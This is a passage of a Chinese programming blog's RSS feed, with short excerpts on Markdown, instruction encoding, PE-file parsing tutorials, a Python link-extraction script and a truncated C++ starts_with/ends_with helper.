&lt;p&gt;// kifast.h&lt;/p&gt;</description></item><item><title>开启markdown格式写作</title><link>https://luodaoyi.com/posts/%E5%BC%80%E5%90%AFmarkdown%E6%A0%BC%E5%BC%8F%E5%86%99%E4%BD%9C-%E5%BC%80%E5%90%AFmarkdown%E6%A0%BC%E5%BC%8F%E5%86%99%E4%BD%9C/</link><pubDate>Tue, 13 Nov 2018 13:21:34 +0000</pubDate><author>luodaoyi@gmail.com (luodaoyi)</author><guid>https://luodaoyi.com/posts/%E5%BC%80%E5%90%AFmarkdown%E6%A0%BC%E5%BC%8F%E5%86%99%E4%BD%9C-%E5%BC%80%E5%90%AFmarkdown%E6%A0%BC%E5%BC%8F%E5%86%99%E4%BD%9C/</guid><description>&lt;h1 id="开启markdown格式写作"&gt;开启markdown格式写作&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;终于支持markdown 写作了 好爽啊&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 id="二级标题"&gt;二级标题&lt;/h2&gt;
&lt;h3 id="爽歪歪"&gt;爽歪歪&lt;/h3&gt;
&lt;p&gt;&lt;a href="#"&gt;&lt;img src="https://luodaoyi.com/uploads/2018/11/QQ20181111104105.jpg" alt=""&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="#"&gt;&lt;img src="https://luodaoyi.com/uploads/2018/11/QQ20181111104135.jpg" alt=""&gt;&lt;/a&gt;&lt;/p&gt;</description></item><item><title>硬编码-什么是硬编码</title><link>https://luodaoyi.com/posts/%E7%A1%AC%E7%BC%96%E7%A0%81-%E4%BB%80%E4%B9%88%E6%98%AF%E7%A1%AC%E7%BC%96%E7%A0%81-%E7%A1%AC%E7%BC%96%E7%A0%81-%E4%BB%80%E4%B9%88%E6%98%AF%E7%A1%AC%E7%BC%96%E7%A0%81/</link><pubDate>Mon, 29 Oct 2018 14:38:26 +0000</pubDate><author>luodaoyi@gmail.com (luodaoyi)</author><guid>https://luodaoyi.com/posts/%E7%A1%AC%E7%BC%96%E7%A0%81-%E4%BB%80%E4%B9%88%E6%98%AF%E7%A1%AC%E7%BC%96%E7%A0%81-%E7%A1%AC%E7%BC%96%E7%A0%81-%E4%BB%80%E4%B9%88%E6%98%AF%E7%A1%AC%E7%BC%96%E7%A0%81/</guid><description>&lt;figure class="wp-block-image"&gt;&lt;img loading="lazy" width="1026" height="533" src="https://luodaoyi.com/uploads/2018/10/image.png" alt="" class="wp-image-1215" srcset="https://luodaoyi.com/uploads/2018/10/image.png 1026w, https://luodaoyi.com/uploads/2018/10/image-300x156.png 300w, https://luodaoyi.com/uploads/2018/10/image-768x399.png 768w, https://luodaoyi.com/uploads/2018/10/image-1024x532.png 1024w" sizes="(max-width: 1026px) 100vw, 1026px" /&gt;&lt;figcaption&gt;二进制编辑工具打开exe&lt;/figcaption&gt;&lt;/figure&gt; 
&lt;p&gt;图中可以看出程序都是由二进制数据组成&lt;/p&gt;
&lt;p&gt;无论多么复杂的程序都只包含两部分，数据和指令。数据和指令的划分并没有明显的界限。具体取决于EIP 指令是有自己的格式。&lt;/p&gt;
&lt;p&gt;CPU相关的指令: x86  x64 arm&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;硬编码就是指令集的指令&lt;/strong&gt;&lt;/p&gt;</description></item><item><title>VMP3.2授权分析</title><link>https://luodaoyi.com/posts/vmp32%E6%8E%88%E6%9D%83%E5%88%86%E6%9E%90-vmp32%E6%8E%88%E6%9D%83%E5%88%86%E6%9E%90/</link><pubDate>Mon, 29 Oct 2018 02:45:00 +0000</pubDate><author>luodaoyi@gmail.com (luodaoyi)</author><guid>https://luodaoyi.com/posts/vmp32%E6%8E%88%E6%9D%83%E5%88%86%E6%9E%90-vmp32%E6%8E%88%E6%9D%83%E5%88%86%E6%9E%90/</guid><description/></item><item><title>X86 汇编：真的是“恐怖”的存在吗？</title><link>https://luodaoyi.com/posts/x86-%E6%B1%87%E7%BC%96%E7%9C%9F%E7%9A%84%E6%98%AF%E6%81%90%E6%80%96%E7%9A%84%E5%AD%98%E5%9C%A8%E5%90%97-x86%E6%B1%87%E7%BC%96%E7%9C%9F%E7%9A%84%E6%98%AF%E6%81%90%E6%80%96%E7%9A%84%E5%AD%98%E5%9C%A8%E5%90%97/</link><pubDate>Mon, 29 Oct 2018 02:32:35 +0000</pubDate><author>luodaoyi@gmail.com (luodaoyi)</author><guid>https://luodaoyi.com/posts/x86-%E6%B1%87%E7%BC%96%E7%9C%9F%E7%9A%84%E6%98%AF%E6%81%90%E6%80%96%E7%9A%84%E5%AD%98%E5%9C%A8%E5%90%97-x86%E6%B1%87%E7%BC%96%E7%9C%9F%E7%9A%84%E6%98%AF%E6%81%90%E6%80%96%E7%9A%84%E5%AD%98%E5%9C%A8%E5%90%97/</guid><description/></item><item><title>PE文件解析 入门篇</title><link>https://luodaoyi.com/posts/pe%E6%96%87%E4%BB%B6%E8%A7%A3%E6%9E%90-%E5%85%A5%E9%97%A8%E7%AF%87-pe%E6%96%87%E4%BB%B6%E8%A7%A3%E6%9E%90%E5%85%A5%E9%97%A8%E7%AF%87/</link><pubDate>Mon, 29 Oct 2018 02:32:29 +0000</pubDate><author>luodaoyi@gmail.com (luodaoyi)</author><guid>https://luodaoyi.com/posts/pe%E6%96%87%E4%BB%B6%E8%A7%A3%E6%9E%90-%E5%85%A5%E9%97%A8%E7%AF%87-pe%E6%96%87%E4%BB%B6%E8%A7%A3%E6%9E%90%E5%85%A5%E9%97%A8%E7%AF%87/</guid><description>&lt;p&gt;前言 - PE文件解析 系列文章的第二篇，上一篇参考：PE文件解析 基础篇&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;介绍区块头表和区块&lt;/li&gt;
&lt;li&gt;解析出区段表 完成RVA转FOA的功能&lt;/li&gt;
&lt;li&gt;解析出数据目录表各种表的位置和大小&lt;/li&gt;
&lt;li&gt;源码放在附件&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;1.区块头表 - pe文件头与原始数据之间存在一个区块表，区块表包含了每个块在映像(内存)中的信息，分别指向不同的区块实体。&lt;/p&gt;</description></item><item><title>PE文件解析 基础篇</title><link>https://luodaoyi.com/posts/pe%E6%96%87%E4%BB%B6%E8%A7%A3%E6%9E%90-%E5%9F%BA%E7%A1%80%E7%AF%87-pe%E6%96%87%E4%BB%B6%E8%A7%A3%E6%9E%90%E5%9F%BA%E7%A1%80%E7%AF%87/</link><pubDate>Mon, 29 Oct 2018 02:32:22 +0000</pubDate><author>luodaoyi@gmail.com (luodaoyi)</author><guid>https://luodaoyi.com/posts/pe%E6%96%87%E4%BB%B6%E8%A7%A3%E6%9E%90-%E5%9F%BA%E7%A1%80%E7%AF%87-pe%E6%96%87%E4%BB%B6%E8%A7%A3%E6%9E%90%E5%9F%BA%E7%A1%80%E7%AF%87/</guid><description>&lt;p&gt;前言 - 之前学习了PE格式，为了更好的理解，决定写一个类似LoadPE的小工具。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;编译器是VS2015，采用MFC框架。&lt;/li&gt;
&lt;li&gt;此系列文章采用边介绍知识点，边写代码的形式，以免变的无聊丧失兴趣。&lt;/li&gt;
&lt;li&gt;PE知识请参照《加密与解密》第10章。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;PE文件格式&lt;/strong&gt;1. PE文件基本概念 - PE文件是windows系统中遵循PE结构的文件，比如以.exe .dll为后缀名的文件以及系统驱动文件。&lt;strong&gt;(PE结构框架看下图）&lt;/strong&gt;&lt;/p&gt;</description></item><item><title>批量提取公众号文章的python脚本</title><link>https://luodaoyi.com/posts/%E6%89%B9%E9%87%8F%E6%8F%90%E5%8F%96%E5%85%AC%E4%BC%97%E5%8F%B7%E6%96%87%E7%AB%A0%E7%9A%84python%E8%84%9A%E6%9C%AC-%E6%89%B9%E9%87%8F%E6%8F%90%E5%8F%96%E5%85%AC%E4%BC%97%E5%8F%B7%E6%96%87%E7%AB%A0%E7%9A%84python%E8%84%9A%E6%9C%AC/</link><pubDate>Tue, 25 Sep 2018 06:06:30 +0000</pubDate><author>luodaoyi@gmail.com (luodaoyi)</author><guid>https://luodaoyi.com/posts/%E6%89%B9%E9%87%8F%E6%8F%90%E5%8F%96%E5%85%AC%E4%BC%97%E5%8F%B7%E6%96%87%E7%AB%A0%E7%9A%84python%E8%84%9A%E6%9C%AC-%E6%89%B9%E9%87%8F%E6%8F%90%E5%8F%96%E5%85%AC%E4%BC%97%E5%8F%B7%E6%96%87%E7%AB%A0%E7%9A%84python%E8%84%9A%E6%9C%AC/</guid><description>&lt;p&gt;如何获取？&lt;a href="http://xingyue.artizen.me/2018/04/27/%E6%9C%89%E7%94%A8%E5%8A%9F%EF%BD%9C%E5%A6%82%E4%BD%95%E9%87%87%E9%9B%86%E5%85%AC%E4%BC%97%E5%8F%B7%E5%8E%86%E5%8F%B2%E6%96%87%E7%AB%A0/" target="_blank" rel="noopener noreferrer"&gt;&lt;a href="http://xingyue.artizen.me"&gt;http://xingyue.artizen.me&lt;/a&gt;&lt;/a&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1
&lt;/span&gt;&lt;span class="lnt"&gt; 2
&lt;/span&gt;&lt;span class="lnt"&gt; 3
&lt;/span&gt;&lt;span class="lnt"&gt; 4
&lt;/span&gt;&lt;span class="lnt"&gt; 5
&lt;/span&gt;&lt;span class="lnt"&gt; 6
&lt;/span&gt;&lt;span class="lnt"&gt; 7
&lt;/span&gt;&lt;span class="lnt"&gt; 8
&lt;/span&gt;&lt;span class="lnt"&gt; 9
&lt;/span&gt;&lt;span class="lnt"&gt;10
&lt;/span&gt;&lt;span class="lnt"&gt;11
&lt;/span&gt;&lt;span class="lnt"&gt;12
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-python" data-lang="python"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;coding&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;utf&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;json&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;pprint&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;links_array&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="nb"&gt;open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;msg.txt&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;encoding&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;utf-8&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;file&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;	&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;file&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;		&lt;span class="n"&gt;s&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;json&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;loads&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;line&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;		&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;links_array&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;link&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;app_msg_list&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;]]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;		
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="nb"&gt;open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;link.txt&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;w&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;	&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;write&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;l&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;l&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;links_array&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;</description></item><item><title>C++ 标准库中缺少的字符串函数：`starts_with` 和 `ends_with`</title><link>https://luodaoyi.com/posts/c-%E6%A0%87%E5%87%86%E5%BA%93%E4%B8%AD%E7%BC%BA%E5%B0%91%E7%9A%84%E5%AD%97%E7%AC%A6%E4%B8%B2%E5%87%BD%E6%95%B0starts_with-%E5%92%8C-ends_with-c%E6%A0%87%E5%87%86%E5%BA%93%E4%B8%AD%E7%BC%BA%E5%B0%91%E7%9A%84%E5%AD%97%E7%AC%A6%E4%B8%B2%E5%87%BD%E6%95%B0startswith%E5%92%8Cendswith/</link><pubDate>Mon, 17 Sep 2018 00:08:02 +0000</pubDate><author>luodaoyi@gmail.com (luodaoyi)</author><guid>https://luodaoyi.com/posts/c-%E6%A0%87%E5%87%86%E5%BA%93%E4%B8%AD%E7%BC%BA%E5%B0%91%E7%9A%84%E5%AD%97%E7%AC%A6%E4%B8%B2%E5%87%BD%E6%95%B0starts_with-%E5%92%8C-ends_with-c%E6%A0%87%E5%87%86%E5%BA%93%E4%B8%AD%E7%BC%BA%E5%B0%91%E7%9A%84%E5%AD%97%E7%AC%A6%E4%B8%B2%E5%87%BD%E6%95%B0startswith%E5%92%8Cendswith/</guid><description>&lt;p&gt;C++ 标准模板库的 &lt;code&gt;std::string&lt;/code&gt; 很好很强大，但是并没有提供判断一个字符串是否以另一个字符串开始/结束的接口。这里为 &lt;code&gt;std::basic_string&amp;lt;charT&amp;gt;&lt;/code&gt; 提供这两个接口。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1
&lt;/span&gt;&lt;span class="lnt"&gt; 2
&lt;/span&gt;&lt;span class="lnt"&gt; 3
&lt;/span&gt;&lt;span class="lnt"&gt; 4
&lt;/span&gt;&lt;span class="lnt"&gt; 5
&lt;/span&gt;&lt;span class="lnt"&gt; 6
&lt;/span&gt;&lt;span class="lnt"&gt; 7
&lt;/span&gt;&lt;span class="lnt"&gt; 8
&lt;/span&gt;&lt;span class="lnt"&gt; 9
&lt;/span&gt;&lt;span class="lnt"&gt;10
&lt;/span&gt;&lt;span class="lnt"&gt;11
&lt;/span&gt;&lt;span class="lnt"&gt;12
&lt;/span&gt;&lt;span class="lnt"&gt;13
&lt;/span&gt;&lt;span class="lnt"&gt;14
&lt;/span&gt;&lt;span class="lnt"&gt;15
&lt;/span&gt;&lt;span class="lnt"&gt;16
&lt;/span&gt;&lt;span class="lnt"&gt;17
&lt;/span&gt;&lt;span class="lnt"&gt;18
&lt;/span&gt;&lt;span class="lnt"&gt;19
&lt;/span&gt;&lt;span class="lnt"&gt;20
&lt;/span&gt;&lt;span class="lnt"&gt;21
&lt;/span&gt;&lt;span class="lnt"&gt;22
&lt;/span&gt;&lt;span class="lnt"&gt;23
&lt;/span&gt;&lt;span class="lnt"&gt;24
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-cpp" data-lang="cpp"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;//string_predicate.hpp
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="cp"&gt;#include&lt;/span&gt; &lt;span class="cpf"&gt;&amp;lt;string&amp;gt;&lt;/span&gt;&lt;span class="cp"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;namespace&lt;/span&gt; &lt;span class="n"&gt;std&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;template&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="k"&gt;typename&lt;/span&gt; &lt;span class="n"&gt;charT&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kr"&gt;inline&lt;/span&gt; &lt;span class="kt"&gt;bool&lt;/span&gt; &lt;span class="n"&gt;starts_with&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;const&lt;/span&gt; &lt;span class="n"&gt;basic_string&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;charT&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&amp;amp;&lt;/span&gt; &lt;span class="n"&gt;big&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;const&lt;/span&gt; &lt;span class="n"&gt;basic_string&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;charT&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&amp;amp;&lt;/span&gt; &lt;span class="n"&gt;small&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;big&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;small&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nb"&gt;true&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;const&lt;/span&gt; &lt;span class="k"&gt;typename&lt;/span&gt; &lt;span class="n"&gt;basic_string&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;charT&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;::&lt;/span&gt;&lt;span class="n"&gt;size_type&lt;/span&gt; &lt;span class="n"&gt;big_size&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;big&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;size&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;const&lt;/span&gt; &lt;span class="k"&gt;typename&lt;/span&gt; &lt;span class="n"&gt;basic_string&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;charT&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;::&lt;/span&gt;&lt;span class="n"&gt;size_type&lt;/span&gt; &lt;span class="n"&gt;small_size&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;small&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;size&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;const&lt;/span&gt; &lt;span class="kt"&gt;bool&lt;/span&gt; &lt;span class="n"&gt;valid_&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;big_size&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;=&lt;/span&gt; &lt;span class="n"&gt;small_size&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;const&lt;/span&gt; &lt;span class="kt"&gt;bool&lt;/span&gt; &lt;span class="n"&gt;starts_with_&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;big&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;compare&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;small_size&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;small&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;valid_&lt;/span&gt; &lt;span class="n"&gt;and&lt;/span&gt; &lt;span class="n"&gt;starts_with_&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;template&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="k"&gt;typename&lt;/span&gt; &lt;span class="n"&gt;charT&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kr"&gt;inline&lt;/span&gt; &lt;span class="kt"&gt;bool&lt;/span&gt; &lt;span class="n"&gt;ends_with&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;const&lt;/span&gt; &lt;span class="n"&gt;basic_string&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;charT&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&amp;amp;&lt;/span&gt; &lt;span class="n"&gt;big&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;const&lt;/span&gt; &lt;span class="n"&gt;basic_string&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;charT&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&amp;amp;&lt;/span&gt; &lt;span class="n"&gt;small&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;big&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;small&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nb"&gt;true&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;const&lt;/span&gt; &lt;span class="k"&gt;typename&lt;/span&gt; &lt;span class="n"&gt;basic_string&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;charT&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;::&lt;/span&gt;&lt;span class="n"&gt;size_type&lt;/span&gt; &lt;span class="n"&gt;big_size&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;big&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;size&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;const&lt;/span&gt; &lt;span class="k"&gt;typename&lt;/span&gt; &lt;span class="n"&gt;basic_string&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;charT&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;::&lt;/span&gt;&lt;span class="n"&gt;size_type&lt;/span&gt; &lt;span class="n"&gt;small_size&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;small&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;size&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;const&lt;/span&gt; &lt;span class="kt"&gt;bool&lt;/span&gt; &lt;span class="n"&gt;valid_&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;big_size&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;=&lt;/span&gt; &lt;span class="n"&gt;small_size&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
